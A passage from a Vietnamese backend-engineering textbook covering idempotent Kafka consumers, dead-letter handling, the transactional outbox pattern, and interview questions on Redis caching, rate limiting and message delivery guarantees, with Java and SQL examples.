        this.processedRepo = processedRepo;
        this.orderService = orderService;
    }
 
    @Transactional // "mark processed" and the order update commit or roll back together
    @KafkaListener(topics = "payment-events", groupId = "order-service")
    public void onMessage(PaymentEvent event) {
        // INSERT ... ON CONFLICT DO NOTHING, returns the number of inserted rows
        if (processedRepo.markProcessed(event.eventId()) == 0) {
            return; // eventId already in the table: this is a redelivery, skip it
        }
        orderService.markPaid(event.orderId()); // runs exactly once per eventId
    }
}



Giải thích: lần đầu event E1 đến, câu INSERT chèn được một dòng (trả về 1), đơn được chuyển sang PAID, và cả hai thay đổi commit cùng lúc. Giả sử consumer chết ngay sau khi commit DB nhưng trước khi commit offset: sau rebalance, Kafka giao lại E1. Lần này INSERT đụng khóa chính message_id đã tồn tại nên trả về 0, method return sớm, đơn không bị xử lý hai lần. Điểm then chốt là cùng một transaction: nếu markPaid ném lỗi thì dòng trong processed_message cũng rollback, lần giao lại sẽ được xử lý bình thường thay vì bị bỏ qua oan. Nếu ghi bảng processed_message ở transaction riêng, bạn có thể rơi vào tình huống "đã đánh dấu xử lý nhưng nghiệp vụ chưa chạy" và mất message.
Nếu nghiệp vụ tự nhiên đã idempotent (set trạng thái PAID, upsert theo khóa nghiệp vụ, unique constraint trên payment_ref) thì dùng luôn, không cần bảng riêng.
Với message lỗi, phân biệt hai loại: lỗi tạm thời (timeout, DB bận) thì retry có backoff; lỗi vĩnh viễn (dữ liệu sai format, vi phạm nghiệp vụ) thì retry vô ích và phải đẩy sang dead letter queue để người xem xét và phát lại. Trong Kafka, một message lỗi mà retry vô hạn sẽ chặn cả partition phía sau nó (poison message). Cấu hình Spring Kafka dưới đây hiện thực đúng cách phân loại đó cho mọi @KafkaListener: lỗi tạm thời được retry có giới hạn, hết lượt hoặc gặp lỗi vĩnh viễn thì chuyển sang DLT.
	@Configuration
public class KafkaErrorConfig {
    @Bean
    public DefaultErrorHandler errorHandler(KafkaTemplate<Object, Object> template) {
        var recoverer = new DeadLetterPublishingRecoverer(template); // publish to <topic>.DLT
        var backOff = new ExponentialBackOff(1_000L, 2.0); // wait 1s, 2s, 4s, 8s...
        backOff.setMaxElapsedTime(30_000L);                // stop after about 30s of total retrying
        var handler = new DefaultErrorHandler(recoverer, backOff);
        handler.addNotRetryableExceptions(IllegalArgumentException.class); // bad data: straight to DLT
        return handler;
    }
}



Giải thích: khi listener ném exception, DefaultErrorHandler không bỏ qua message mà seek lại offset đó và gọi listener lại sau 1 giây, rồi 2, 4, 8, 16 giây. Khi tổng thời gian chờ vượt khoảng 30 giây, nó gọi recoverer: message được gửi sang topic payment-events.DLT (mặc định cùng số partition với bản gốc, nên topic DLT cần có ít nhất bấy nhiêu partition), sau đó offset được commit và partition chạy tiếp. Với IllegalArgumentException (được coi là lỗi vĩnh viễn), bước retry bị bỏ qua và message vào DLT ngay lần lỗi đầu tiên. Cần nhớ đây là blocking retry: trong 30 giây đó mọi message phía sau trong cùng partition phải chờ, và tổng thời gian retry phải nhỏ hơn max.poll.interval.ms (mặc định 5 phút), nếu không consumer bị coi là chết và bị rebalance.
8.11 Dual write và Transactional Outbox
Bài toán: service lưu đơn hàng vào DB rồi gửi event OrderCreated lên Kafka. Hai thao tác trên hai hệ thống khác nhau, không có transaction chung. Nếu commit DB xong mà gửi Kafka lỗi, đơn tồn tại nhưng không ai biết. Nếu gửi Kafka trước rồi DB rollback, các service khác xử lý một đơn không tồn tại. Đó là dual write problem.
Transactional Outbox giải quyết bằng cách ghi event vào bảng outbox trong cùng transaction với dữ liệu nghiệp vụ. Một tiến trình relay (job polling, hoặc CDC như Debezium đọc WAL/binlog) đọc outbox và publish lên broker, thành công thì đánh dấu đã gửi. Bảng outbox tối thiểu trên PostgreSQL trông như sau:
	CREATE TABLE outbox (
    id             UUID PRIMARY KEY,           -- doubles as eventId for consumer dedup
    aggregate_type VARCHAR(50)  NOT NULL,      -- e.g. 'Order'
    aggregate_id   VARCHAR(50)  NOT NULL,      -- e.g. order id, used as the Kafka key
    event_type     VARCHAR(100) NOT NULL,      -- e.g. 'OrderCreated'
    payload        JSONB        NOT NULL,      -- serialized event body
    created_at     TIMESTAMP    NOT NULL DEFAULT now(),
    published_at   TIMESTAMP                   -- NULL = not yet sent to the broker
);



Giải thích: khi tạo đơn, service chạy hai câu INSERT (vào orders và vào outbox với published_at là NULL) trong cùng một transaction, nên chỉ có hai khả năng: cả hai cùng tồn tại hoặc cả hai cùng không. Relay định kỳ lấy các dòng published_at IS NULL theo thứ tự created_at, gửi lên Kafka, gửi thành công thì cập nhật published_at. Nếu chạy relay trên nhiều instance, thêm FOR UPDATE SKIP LOCKED khi lấy dòng để hai instance không gửi cùng một event, và nên có index cho điều kiện lọc cùng job dọn các dòng đã gửi lâu ngày để bảng không phình mãi.
Relay có thể gửi một event hai lần (gửi xong nhưng chưa kịp đánh dấu thì chết), nên outbox cho bạn at-least-once, và consumer vẫn phải idempotent. Dùng aggregate_id làm key Kafka để giữ thứ tự sự kiện của cùng một đơn.
Luồng outbox từng bước
	NHẮC LẠI KIẾN THỨC
SELECT ... FOR UPDATE SKIP LOCKED khóa các dòng vừa đọc và bỏ qua các dòng đang bị transaction khác khóa, nên nhiều worker lấy việc không giẫm lên nhau (xem cuối phần "Optimistic vs pessimistic lock", mục 6.3).



1. User đặt đơn. Order service mở transaction DB.
1. INSERT INTO orders ... (đơn 1001, trạng thái CREATED).
1. INSERT INTO outbox ... (id e-77, event_type = 'OrderCreated', aggregate_id = '1001', published_at = NULL).
1. COMMIT. Từ lúc này đơn và event cùng tồn tại; nếu bước 2 hoặc 3 lỗi thì cả hai cùng rollback. API trả về cho user, không chờ Kafka.
1. Relay (một job chạy mỗi 500ms) đọc các dòng chưa gửi, gửi e-77 lên topic order-events với key 1001, chờ ack của Kafka.
1. Nhận ack thì UPDATE outbox SET published_at = now() WHERE id = 'e-77'.
1. Consumer ở inventory service nhận e-77, dùng e-77 làm khóa chống trùng, giữ tồn kho.
Câu SQL relay dùng ở bước 5 và 6:
	BEGIN;
SELECT id, aggregate_id, event_type, payload
FROM outbox
WHERE published_at IS NULL
ORDER BY created_at
LIMIT 100
FOR UPDATE SKIP LOCKED;          -- other relay instances skip these rows
-- ... send each row to Kafka and wait for the ack ...
UPDATE outbox SET published_at = now() WHERE id = ANY(:sentIds);
COMMIT;



Giải thích: relay lấy tối đa 100 event cũ nhất chưa gửi và khóa chúng; instance relay thứ hai chạy cùng lúc sẽ bỏ qua 100 dòng này và lấy các dòng khác (hoặc không lấy gì). Gửi xong thì đánh dấu và commit. Các điểm có thể hỏng và hệ quả:
1. Kafka sập ở bước 5: không có ack, relay không đánh dấu, lần chạy sau gửi lại. Event trễ chứ không mất.
1. Relay chết sau khi Kafka đã ack nhưng trước COMMIT ở bước 6: published_at vẫn NULL, lần sau e-77 được gửi lần hai. Đây là lý do consumer ở bước 7 phải chống trùng theo id.
1. Nếu nhiều relay chia nhau các dòng của cùng một đơn, thứ tự có thể đảo; hệ thống cần thứ tự chặt thường chạy một relay active hoặc chia theo aggregate_id.
	BẪY THƯỜNG GẶP
Gửi Kafka bên trong method @Transactional rồi cho rằng "lỗi thì rollback cả hai" là sai. Transaction của DB không bao được Kafka. Tệ hơn, message có thể đã được gửi đi trong khi DB sau đó rollback.



8.12 Câu hỏi phỏng vấn thường gặp
Câu hỏi (Thực chiến): Bạn triển khai cache cho API chi tiết sản phẩm như thế nào? Khi cập nhật sản phẩm thì xử lý cache ra sao?
Tôi dùng cache-aside với Spring Cache và Redis: @Cacheable theo productId, TTL khoảng 10 phút cộng jitter. Khi cập nhật, tôi xóa key sau khi transaction commit, không ghi giá trị mới vào cache. Xóa thay vì cập nhật để tránh race hai lần ghi đảo thứ tự; xóa sau commit để request đọc chen vào không nạp lại dữ liệu cũ; TTL là lưới an toàn cho race còn sót.
	BẪY THƯỜNG GẶP
Trả lời "cập nhật DB rồi cập nhật cache luôn cho nhanh" mà không nhận ra race condition là dấu hiệu chưa từng xử lý cache lệch trên production.



	CÂU HỎI ĐÀO SÂU
Nếu có 3 service cùng ghi vào bảng sản phẩm thì sao? Lúc đó xóa cache trong code một service là không đủ; nên xóa cache dựa trên CDC từ binlog/WAL hoặc dựa trên event chung mà mọi bên ghi đều phát ra.



Câu hỏi (Hiểu sâu): Cache breakdown và cache avalanche khác nhau thế nào?
Breakdown là một key rất nóng hết hạn khiến hàng loạt request đồng thời cùng miss và cùng truy vấn DB. Avalanche là rất nhiều key hết hạn cùng lúc hoặc cả cụm Redis sập, DB nhận toàn bộ tải.
1. Chống breakdown: khóa theo key để chỉ một request nạp lại (sync = true trong một JVM, lock phân tán nếu nhiều instance), hoặc refresh bất đồng bộ trước khi hết hạn.
1. Chống avalanche: TTL cộng jitter, Redis HA, cache hai tầng Caffeine + Redis, rate limit hoặc circuit breaker trước DB.
	CÂU HỎI ĐÀO SÂU
@Cacheable(sync = true) có chống được stampede khi chạy 10 pod không? Chỉ một phần: mỗi pod vẫn có một request đi xuống DB, tức 10 request thay vì hàng nghìn. Thường như vậy là đủ.



Câu hỏi (Cơ bản): Redis hết bộ nhớ thì chuyện gì xảy ra?
Phụ thuộc maxmemory-policy. Mặc định noeviction khiến lệnh ghi trả lỗi OOM. Redis làm cache thuần thì tôi đặt allkeys-lru hoặc allkeys-lfu; nếu còn chứa session hay khóa thì dùng volatile-lru hoặc tách instance riêng.
	BẪY THƯỜNG GẶP
Nói "Redis tự xóa key cũ khi đầy" mà không biết mặc định là noeviction.



Câu hỏi (Hiểu sâu): Kafka đảm bảo thứ tự message như thế nào?
Kafka chỉ đảm bảo thứ tự trong một partition. Muốn các sự kiện của cùng một đơn hàng được xử lý đúng thứ tự, tôi dùng orderId làm key để chúng vào cùng partition. Phía consumer, mỗi partition chỉ do một consumer trong group đọc tuần tự.
1. Không cần thứ tự toàn cục; thứ tự theo thực thể là đủ và vẫn scale được.
1. Nếu consumer tự xử lý song song bằng thread pool bên trong thì chính bạn phá vỡ thứ tự.
	CÂU HỎI ĐÀO SÂU
Producer retry có làm đảo thứ tự không? Với idempotent producer (mặc định từ Kafka 3.0) thì thứ tự được giữ kể cả khi max.in.flight.requests.per.connection tới 5.



Câu hỏi (Hiểu sâu): Làm sao để không mất message và không xử lý trùng?
Không mất: producer acks=all với replication factor 3 và min.insync.replicas=2; consumer chỉ commit offset sau khi xử lý xong (Spring Kafka mặc định đã tắt auto commit của client; với AckMode mặc định là BATCH, offset được commit sau khi listener xử lý xong toàn bộ các record của một lần poll). Không xử lý trùng: chấp nhận rằng trùng sẽ xảy ra (rebalance, consumer chết trước khi commit, relay gửi lại) và làm consumer idempotent bằng bảng processed_message hoặc unique key nghiệp vụ.
	BẪY THƯỜNG GẶP
Nói "Kafka có exactly-once nên không lo trùng". Exactly-once của Kafka chỉ áp dụng cho luồng đọc từ Kafka và ghi lại vào Kafka; khi consumer ghi vào PostgreSQL hoặc gọi API thanh toán, bạn vẫn phải tự làm idempotent.



Câu hỏi (Thực chiến): Consumer gặp message lỗi thì bạn xử lý thế nào?
Tôi phân loại lỗi. Lỗi tạm thời thì retry với exponential backoff có giới hạn. Lỗi vĩnh viễn (deserialize lỗi, dữ liệu vi phạm nghiệp vụ) thì không retry mà đẩy thẳng sang DLQ. Message vào DLQ phải có đủ thông tin (topic gốc, offset, stacktrace trong header), có alert, và có công cụ để phát lại sau khi sửa lỗi.
	CÂU HỎI ĐÀO SÂU
Retry chặn (blocking retry) giữ message ở đầu partition, làm trễ mọi message phía sau. Nếu cần retry lâu, dùng retry topic không chặn (@RetryableTopic trong Spring Kafka), đổi lại thứ tự không còn được đảm bảo.



Câu hỏi (Hiểu sâu): Lưu đơn hàng rồi gửi event, làm sao đảm bảo hai việc cùng thành công?
Đây là dual write. Tôi dùng Transactional Outbox: ghi đơn hàng và bản ghi outbox trong cùng một transaction DB, rồi relay publish lên Kafka. Như vậy nếu DB commit thì event chắc chắn sẽ được gửi (ít nhất một lần), nếu DB rollback thì không có event nào.
	CÂU HỎI ĐÀO SÂU
Polling outbox hay CDC? Polling đơn giản, không cần hạ tầng thêm nhưng tăng tải DB và có độ trễ. CDC (Debezium) độ trễ thấp, không query DB nhưng phải vận hành Kafka Connect.



Câu hỏi (Cơ bản): Khi nào bạn chọn RabbitMQ thay vì Kafka?
Khi bài toán là task queue (email, xử lý ảnh, job nền), cần định tuyến linh hoạt theo routing key, cần priority hoặc TTL từng message và không cần đọc lại lịch sử. Chọn Kafka khi dữ liệu là dòng sự kiện nhiều hệ thống cùng đọc, cần thông lượng cao hoặc replay.
	BẪY THƯỜNG GẶP
Trả lời "Kafka nhanh hơn nên luôn dùng Kafka" mà không nói đến chi phí vận hành và mô hình tiêu thụ khác nhau.



Câu hỏi (Hiểu sâu): Bạn dùng Redis làm distributed lock như thế nào, rủi ro là gì?
Lấy khóa bằng SET key <uuid> NX PX <ttl>, giải phóng bằng Lua script kiểm tra đúng uuid. Rủi ro: chạy quá TTL thì hai nơi cùng giữ khóa, failover có thể mất khóa. Nên khóa Redis chỉ giảm tranh chấp, tính đúng đắn cuối cùng dựa vào ràng buộc trong DB.
	CÂU HỎI ĐÀO SÂU
Fencing token là gì? Mỗi lần cấp khóa kèm một số tăng dần; tài nguyên đích từ chối thao tác mang token nhỏ hơn token đã thấy, nên client giữ khóa đã hết hạn không ghi đè được.



Câu hỏi (Cơ bản): Cache hit, cache miss, TTL và eviction là gì? Cho ví dụ số.
Hit là tìm thấy trong cache, miss là không thấy phải xuống nguồn gốc; TTL là hạn dùng của một entry; eviction là loại bỏ entry khi cache đầy. Ví dụ: API chi tiết sản phẩm nhận 1.000 request/phút, 950 request hit Redis (khoảng 1ms), 50 request miss và phải query DB (khoảng 30ms) rồi ghi lại vào Redis. Hit ratio 95%. Mỗi entry có TTL 10 phút, hết hạn thì lần đọc sau lại miss. Khi Redis chạm maxmemory với allkeys-lru, key lâu nhất không ai đọc bị loại để lấy chỗ.
1. TTL giới hạn thời gian dữ liệu cũ có thể tồn tại; eviction giới hạn bộ nhớ. Hai cơ chế độc lập: key còn hạn vẫn có thể bị evict, key hết hạn thì bị xóa dù bộ nhớ còn trống.
Câu hỏi (Cơ bản): Local cache và Redis khác nhau thế nào? Khi nào dùng cả hai?
Local cache nhanh nhất nhưng mỗi pod một bản; Redis chậm hơn một round-trip mạng nhưng mọi pod dùng chung một bản. Ví dụ 5 pod cùng cache danh mục trong Caffeine: admin sửa danh mục, pod xử lý request sửa xóa được cache của mình, 4 pod còn lại vẫn trả bản cũ tới hết TTL. Với Redis, xóa một key là mọi pod thấy.
1. Cache hai tầng (Caffeine TTL 30 giây phía trước Redis TTL 10 phút) hợp với key cực nóng: phần lớn request không tốn cả round-trip Redis, và khi Redis sập thì vẫn còn bản trong JVM. Đổi lại phải chấp nhận lệch tối đa 30 giây giữa các pod, hoặc phát event qua Redis pub/sub để các pod tự xóa local cache.
	BẪY THƯỜNG GẶP
Cache object lớn trong Heap mà không giới hạn maximumSize sẽ làm Heap đầy, GC chạy liên tục, rồi OutOfMemoryError. Local cache luôn phải có giới hạn kích thước.



Câu hỏi (Cơ bản): Cache penetration là gì và chống thế nào?
Penetration là truy vấn liên tục những key không tồn tại, cache không bao giờ hit nên mọi request đều xuống DB. Ví dụ bot quét GET /products/{id} với id ngẫu nhiên không có thật, 2.000 request/giây đều đi thẳng xuống DB.
1. Validate input để chặn id vô lý từ controller.
1. Cache kết quả rỗng với TTL ngắn (30–60 giây).
1. Bloom filter chứa các id tồn tại, trả 404 ngay cho id "chắc chắn không có".
1. Rate limit theo IP ở gateway.
	CÂU HỎI ĐÀO SÂU
Cache giá trị rỗng có nhược điểm gì? Bot dùng id ngẫu nhiên khác nhau mỗi lần thì mỗi id chỉ hit một lần, cache đầy rác. Lúc đó Bloom filter và rate limit hiệu quả hơn. Ngoài ra khi sản phẩm id đó được tạo thật, phải xóa entry rỗng, nếu không người dùng thấy 404 tới hết TTL.



Câu hỏi (Cơ bản): Message queue giúp gì? Cho một ví dụ cụ thể trong dự án.
Queue tách người gửi và người xử lý: API trả về nhanh, tác vụ chậm chạy nền, và đỉnh tải được hứng bởi broker thay vì DB. Ví dụ đặt hàng: API lưu đơn rồi publish OrderCreated; email service, loyalty service, analytics service mỗi bên một consumer group đọc cùng event. Thêm service mới chỉ cần thêm group mới, không sửa order service. Ngày sale, 50.000 đơn trong 10 phút được xếp trong topic, consumer email gửi dần theo tốc độ SMTP cho phép.
	BẪY THƯỜNG GẶP
Dùng queue cho thao tác mà user cần kết quả ngay (ví dụ kiểm tra số dư trước khi chuyển tiền). Queue làm luồng đó phức tạp mà không có lợi gì; gọi đồng bộ là đúng.



Câu hỏi (Cơ bản): Topic, partition, offset là gì?
Topic là kênh sự kiện, partition là các làn log song song của topic, offset là số thứ tự của message trong một partition. Ví dụ topic order-events có 3 partition; message thứ 1.001 của P1 có offset 1000. Offset chỉ có nghĩa trong một partition: P0 và P2 đều có offset 1000 nhưng là hai message khác nhau. Consumer group lưu "đã xử lý tới offset nào" riêng cho từng partition.
Câu hỏi (Cơ bản): Topic có 3 partition. Group có 2 consumer thì chia thế nào? Thêm lên 4 consumer thì sao? Hai group khác nhau thì sao?
Mỗi partition chỉ thuộc một consumer trong group; 2 consumer thì một người 2 partition, người kia 1; 4 consumer thì một người ngồi chơi. Cụ thể với RangeAssignor: 2 consumer là C1 (P0, P1), C2 (P2); 3 consumer là mỗi người một partition; 4 consumer thì C4 không được giao partition nào. Mỗi lần thêm hoặc bớt consumer, group rebalance để chia lại. Hai group khác nhau thì độc lập: mỗi group đều nhận toàn bộ message, mỗi group có committed offset riêng.
	CÂU HỎI ĐÀO SÂU
Muốn tăng tốc xử lý khi đã có 3 consumer cho 3 partition thì làm gì? Tăng số partition (chấp nhận thay đổi ánh xạ key, xem TRAP ở mục 8.8), hoặc tối ưu thời gian xử lý mỗi message (batch ghi DB, bỏ lời gọi đồng bộ chậm). Thêm consumer thứ 4 không giúp gì.



Câu hỏi (Cơ bản): At-most-once, at-least-once và exactly-once khác nhau thế nào?
Khác nhau ở thứ tự "commit offset" và "xử lý": commit trước thì có thể mất, xử lý trước thì có thể trùng. At-most-once: commit offset rồi xử lý, pod chết giữa chừng thì message bị bỏ qua. At-least-once: xử lý rồi mới commit, pod chết trước khi commit thì message được giao lại. Exactly-once của Kafka chỉ áp dụng khi cả đầu vào lẫn đầu ra đều là Kafka (transaction của Kafka gom việc ghi output và commit offset). Khi xử lý ghi vào DB hay gọi API, thực tế là at-least-once cộng consumer idempotent.
Câu hỏi (Hiểu sâu): Vì sao xóa cache trước khi commit lại nguy hiểm? Hãy trình bày theo thời gian.
Vì một request đọc chen vào giữa lúc xóa và lúc commit sẽ đọc được giá trị cũ đã commit và nạp nó ngược lại vào cache. Theo thời gian: t1 W cập nhật giá 150 chưa commit; t2 W xóa key; t3 R miss, đọc DB thấy 100 (bản đã commit); t4 R ghi 100 vào cache; t5 W commit. DB 150, cache 100 tới hết TTL. Cách đúng: commit rồi mới xóa (@TransactionalEventListener(AFTER_COMMIT) hoặc transactionAware() của RedisCacheManager), cộng TTL.
	CÂU HỎI ĐÀO SÂU
Xóa sau commit có hết race không? Không. Vẫn còn race R đọc DB trước commit nhưng ghi cache sau khi W đã xóa (xem bảng ở mục 8.4). Xác suất nhỏ; delayed double delete và TTL xử lý phần còn lại.



Câu hỏi (Hiểu sâu): So sánh cache-aside, write-through và write-behind. Bạn chọn khi nào?
Cache-aside cho hầu hết dữ liệu đọc nhiều; write-through khi cần đọc ngay sau ghi thấy giá trị mới và có thư viện hỗ trợ; write-behind chỉ cho dữ liệu chấp nhận mất như bộ đếm.
	Tiêu chí
	Cache-aside
	Write-through
	Write-behind

	Ai ghi DB
	App
	Lớp cache, đồng bộ
	Lớp cache, bất đồng bộ

	Tốc độ ghi
	Bình thường
	Chậm hơn
	Rất nhanh

	Rủi ro
	Cửa sổ lệch ngắn
	Ghi nhiều dữ liệu không ai đọc
	Mất dữ liệu chưa flush

	Ví dụ
	Chi tiết sản phẩm
	Cấu hình tenant
	Lượt xem bài viết



Câu hỏi (Hiểu sâu): Vì sao INCR trên Redis an toàn khi nhiều request đồng thời, còn GET rồi SET từ Java thì không?
Vì một lệnh Redis chạy trọn vẹn trên thread thực thi lệnh, không có lệnh nào chen vào giữa, còn GET + SET là hai lệnh tách rời. Ví dụ counter đang 10, hai request cùng GET được 10, cùng tính 11, cùng SET 11: mất một lượt tăng. INCR gộp đọc, tăng, ghi thành một bước nguyên tử nên kết quả là 12. Khi logic phức tạp hơn một lệnh (kiểm tra rồi trừ, kiểm tra chủ khóa rồi xóa) thì gói vào Lua script để được cùng bảo đảm.
	BẪY THƯỜNG GẶP
Nói "Redis đơn luồng nên mọi thứ tự động an toàn". Chỉ từng lệnh (hoặc từng script) là nguyên tử; chuỗi lệnh gửi từ Java vẫn có thể bị client khác chen vào giữa. MULTI/EXEC gom lệnh nhưng không cho đọc giá trị giữa chừng để ra quyết định.



Câu hỏi (Hiểu sâu): Rebalance là gì, vì sao nó gây xử lý trùng và làm consumer lag tăng vọt?
Rebalance là lúc group chia lại partition cho các consumer; trong lúc đó tiêu thụ tạm dừng, và các message đã xử lý nhưng chưa commit offset sẽ bị giao lại. Nguyên nhân thường gặp: deploy (pod cũ tắt, pod mới vào), pod chết, hoặc xử lý một lô message lâu hơn max.poll.interval.ms nên bị coi là chết. Nếu cứ deploy là rebalance nhiều lần liên tiếp, lag tăng và message trùng nhiều.
1. Giảm rebalance: dùng cooperative sticky assignor (chỉ di chuyển partition cần di chuyển), static membership (group.instance.id) để pod khởi động lại trong thời gian ngắn không kích hoạt rebalance, giảm max.poll.records nếu mỗi message xử lý lâu.
Câu hỏi (Hiểu sâu): Nối kiến thức: đặt @Cacheable và @Transactional(readOnly = true) trên cùng method, rồi gọi method đó từ một method khác cùng class. Điều gì xảy ra?
Cả hai annotation đều không có tác dụng, vì lời gọi nội bộ this.method() không đi qua proxy. Cache luôn miss (không có gì được lưu), method chạy trong transaction của method gọi nó (nếu có) chứ không phải transaction read-only riêng. Đây cùng một cơ chế với bẫy self-invocation của @Transactional ở mục 4.5. Cách sửa: tách method cache sang một bean khác, hoặc tiêm chính proxy của bean vào.
	CÂU HỎI ĐÀO SÂU
Khi cả hai annotation cùng áp dụng qua proxy, cái nào chạy trước? Phụ thuộc thứ tự advisor (@EnableCaching(order = ...), @EnableTransactionManagement(order = ...)). Nếu cache interceptor bọc ngoài, cache hit sẽ không mở transaction nào, là điều ta muốn.



Câu hỏi (Hiểu sâu): Nối kiến thức: outbox đã đảm bảo "DB commit thì event được gửi", vì sao consumer vẫn phải idempotent? Nó giống gì với Idempotency-Key của REST?
Vì outbox chỉ bảo đảm at-least-once: relay có thể gửi lại một event đã gửi thành công nhưng chưa kịp đánh dấu. Consumer chống trùng bằng cách lưu eventId (chính là outbox.id) vào bảng có khóa chính, trong cùng transaction với thay đổi nghiệp vụ. Đây là cùng ý tưởng với Idempotency-Key ở mục 7.4: phía gửi gắn một id duy nhất cho mỗi ý định, phía nhận dùng unique constraint để lần thứ hai thành no-op. Khác biệt: REST cần trả lại response cũ cho client, còn consumer chỉ cần bỏ qua.
Câu hỏi (Hiểu sâu): Thiết kế nhỏ: rate limit 100 request/phút cho mỗi user bằng Redis.
Cách đơn giản nhất là fixed window: INCR một key theo user và phút hiện tại, lần đầu thì đặt TTL, vượt 100 thì trả 429.
	key = rl:{userId}:{epochMinute}          e.g. rl:42:28512345
count = INCR key                         -> 1, 2, 3, ...
if count == 1: EXPIRE key 60             (first request of this minute)
if count > 100: reply 429 Too Many Requests



1. INCR nguyên tử nên 200 request đồng thời đếm đúng 200. Nên gói INCR và EXPIRE trong Lua script để không bị kẹt key không có TTL nếu app chết giữa hai lệnh.
1. Nhược điểm fixed window: user gửi 100 request lúc 10:00:59 và 100 request lúc 10:01:00, tức 200 request trong 2 giây. Cần mượt hơn thì dùng sliding window bằng Sorted Set (ZADD timestamp, ZREMRANGEBYSCORE bỏ phần quá 60 giây, ZCARD để đếm) hoặc token bucket.
Câu hỏi (Thực chiến): 10:00 mở sale, key product:hot hết hạn, DB lên 100% CPU và API timeout hàng loạt. Bạn xử lý thế nào?
Đây là cache stampede: chữa cháy bằng cách nạp lại key bằng tay và chặn bớt traffic, rồi sửa gốc bằng cơ chế chỉ một request nạp lại.
1. Chữa cháy: nạp lại key bằng tay (hoặc qua endpoint admin), bật rate limit hoặc circuit breaker trước DB để DB hồi lại; kill các query trùng lặp đang chạy.
1. Xác nhận: xem metric cache miss cùng lúc với số query giống nhau trên DB (slow query log, pg_stat_activity).
1. Sửa gốc: @Cacheable(sync = true) hoặc khóa SET NX theo key để một request nạp; refresh key nóng trước khi hết hạn; warm-up cache trước giờ sale; TTL có jitter.
	CÂU HỎI ĐÀO SÂU
Khóa SET NX để nạp lại, các request không lấy được khóa làm gì? Chờ ngắn rồi đọc lại cache (spin vài lần, mỗi lần 50ms), hoặc trả giá trị cũ nếu còn giữ bản "stale" (một key phụ TTL dài hơn). Không nên để chúng rơi xuống DB.



Câu hỏi (Thực chiến): Consumer lag của topic payment-events tăng từ 0 lên 200.000 trong 30 phút. Bạn điều tra thế nào?
Xác định lag tăng đều mọi partition (consumer chậm chung) hay dồn vào một partition (message lỗi hoặc key lệch), rồi xử lý theo nguyên nhân.
1. kafka-consumer-groups.sh --describe xem lag theo partition. Lag chỉ ở một partition và CURRENT-OFFSET đứng yên: consumer kẹt ở một poison message đang retry vô hạn. Đẩy nó sang DLT và cấu hình lại error handler.
1. Lag đều ở mọi partition: consumer chậm. Xem thời gian xử lý mỗi message (DB chậm, gọi API đối tác chậm, lock), CPU, số lần rebalance trong log. Rebalance liên tục là dấu hiệu xử lý vượt max.poll.interval.ms.
1. Lag dồn vào một partition nhưng offset vẫn chạy: một key quá nóng (ví dụ mọi event của một merchant lớn cùng key), cần đổi thiết kế key.
1. Giải pháp ngắn hạn: tăng consumer nếu còn partition trống, tối ưu xử lý (batch insert, bỏ gọi đồng bộ). Dài hạn: tăng partition, alert khi lag vượt ngưỡng.
Câu hỏi (Thực chiến): Khách phản ánh bị cộng điểm thưởng hai lần cho một đơn. Bạn điều tra và sửa thế nào?
Gần như chắc chắn là message bị giao lại và consumer không idempotent; tìm bằng chứng trong log rồi thêm chống trùng theo eventId.
1. Tra log theo orderId: thấy cùng eventId được xử lý hai lần, cách nhau vài giây, ở hai pod khác nhau, trùng thời điểm deploy hoặc rebalance.
1. Sửa: bảng processed_message(message_id PK) ghi trong cùng transaction với việc cộng điểm, hoặc unique constraint (order_id, reason) trên bảng lịch sử điểm.
1. Dọn dữ liệu: truy vấn tìm các đơn bị cộng hai lần, trừ lại có ghi chú, báo CSKH.
1. Phòng ngừa: test tích hợp gửi cùng một message hai lần và kiểm tra kết quả chỉ một lần.
	BẪY THƯỜNG GẶP
Sửa bằng "kiểm tra đã có bản ghi điểm cho đơn này chưa rồi mới insert". Hai lần giao lại xử lý song song (hai pod trong lúc rebalance) vẫn cùng thấy "chưa có". Phải dựa vào unique constraint.



Câu hỏi (Thực chiến): Admin sửa giá sản phẩm nhưng trang web vẫn hiện giá cũ khoảng 10 phút. Bạn điều tra thế nào?
10 phút trùng TTL cache nên gần như chắc chắn key không bị xóa khi sửa, hoặc bị nạp lại giá cũ ngay sau khi xóa. Các nguyên nhân tôi kiểm tra lần lượt:
1. Luồng sửa giá không đi qua method có @CacheEvict (sửa qua batch job, service khác ghi thẳng DB, hoặc gọi nội bộ this.update() nên không qua proxy).
1. Key evict không khớp key cache (cache theo #id kiểu Long, evict bằng #cmd.id() kiểu String).
1. Xóa trước commit, request đọc chen vào nạp lại giá cũ (xem bảng thời gian mục 8.4).
1. Có thêm local cache hoặc CDN phía trước mà không ai xóa.
Kiểm tra nhanh: TTL product:<id> ngay sau khi sửa. Nếu TTL gần 600 nghĩa là key vừa được nạp lại (race), nếu TTL đang giảm dần từ lâu nghĩa là không có evict.
Câu hỏi (Thực chiến): Redis cluster sập hoàn toàn 5 phút. Hệ thống của bạn nên phản ứng thế nào?
Nên suy giảm chức năng (chậm hơn, một số tính năng tắt) chứ không sập theo; muốn vậy phải thiết kế từ trước.
1. Timeout Redis ngắn (khoảng 50–100ms) để thread không bị treo chờ.
1. Circuit breaker quanh Redis: lỗi nhiều thì bỏ qua cache luôn, không đợi timeout từng request.
1. Không cho toàn bộ traffic đổ xuống DB: rate limit hoặc bulkhead cho đường đọc DB, local cache giữ bản gần nhất cho dữ liệu nóng.
1. Các chức năng phụ thuộc Redis như khóa, rate limit, session: quyết định trước là fail-open (cho qua) hay fail-closed (từ chối). Rate limit thường fail-open, khóa chống trừ tiền trùng thì fail-closed hoặc dựa vào ràng buộc DB.
Câu hỏi (Đọc code): Đoạn code cập nhật sản phẩm dưới đây có lỗi gì về cache?
	@Service
public class ProductService {
    // ... fields and constructor omitted
 
    @Transactional
    public void updatePrice(Long id, BigDecimal price) {
        redis.delete("product:" + id);            // evict first
        Product p = repo.findById(id).orElseThrow();
        p.setPrice(price);
        auditClient.send(id, price);              // HTTP call, ~300ms
    }                                             // commit happens here
}



Đáp án:
Cache bị xóa trước commit, và giữa lúc xóa với lúc commit còn một lời gọi HTTP khoảng 300ms, làm cửa sổ race rất rộng.
1. Trong 300ms đó, mọi request đọc sản phẩm đều miss, đọc DB thấy giá cũ (chưa commit) và ghi giá cũ vào Redis. Sau commit, DB có giá mới nhưng Redis giữ giá cũ tới hết TTL.
1. Lỗi phụ: gọi HTTP bên trong transaction giữ connection DB và row lock lâu (xem "Transaction dài và gọi API bên ngoài" ở mục 4.5).
